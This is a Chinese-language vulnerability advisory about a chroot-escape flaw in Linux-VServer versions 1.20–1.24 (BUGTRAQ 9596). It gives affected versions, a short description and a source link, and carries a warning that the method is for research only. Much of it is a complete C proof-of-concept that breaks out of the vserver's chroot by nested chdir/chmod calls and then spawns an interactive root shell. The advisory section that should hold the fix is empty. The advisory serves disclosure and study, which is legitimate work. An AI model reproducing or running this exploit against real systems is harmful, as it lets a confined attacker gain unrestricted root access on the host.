|
Linux VServer Project可突破CHROOT环境漏洞(1) 受影响系统: VServer Linux-VServer 1.24 VServer Linux-VServer 1.23 VServer Linux-VServer 1.22 VServer Linux-VServer 1.21 VServer Linux-VServer 1.20 不受影响系统: VServer Linux-VServer 1.25 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 9596
Linux-VServer是一个允许用户在一个普通的Linux服务器上建立虚拟专用的服务器的软件。
Linux-VServer存在典型的"chroot-again"问题,本地攻击者可以利用这个漏洞以ROOT用户权限在系统上执行任意指令。
主要问题是VServer应用程序针对"chroot-again"类型的攻击没有很好的进行安全保护,攻击者可以利用这个漏洞脱离限制环境,访问限制目录之外的任意文件。
<*来源:Markus M?ller (unknown@priv.de)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107619109429591&w=2 *>
测试方法: --------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Markus M?ller (unknown@priv.de)提供了如下测试方法:
/* vserver deadbeef de modified the chroot-again eXPloit */ /* to work on vservers with "chmod 000 /vservers" */
/* Run this code in a vserver as root */ /* Tested with 2.4.24 and vserver 1.24 */
#include <sys/types.h> #include <sys/stat.h>
main() { int i;
if (chdir("/") != 0) { perror("cd /"); exit(1); } if (mkdir("baz", 0777) != 0) { perror("mkdir baz"); } if (chroot("baz") != 0) { perror("chroot baz"); exit(1); }
for (i=0; i<50; i++) { if (chdir("..") != 0) { perror("cd .."); /* exit(1); */ } if (chmod("..", S_IXOTH) != 0) { perror("chmod"); /* exit(1); */ } } if (chroot(".") != 0) { perror("chroot ."); exit(1); } printf("Exploit seems to work. =)\n"); execl("/bin/sh", "sh", "-i", (char *)0); perror("exec sh"); exit(0); }
建议: --------------------------------------------------------------------------------
|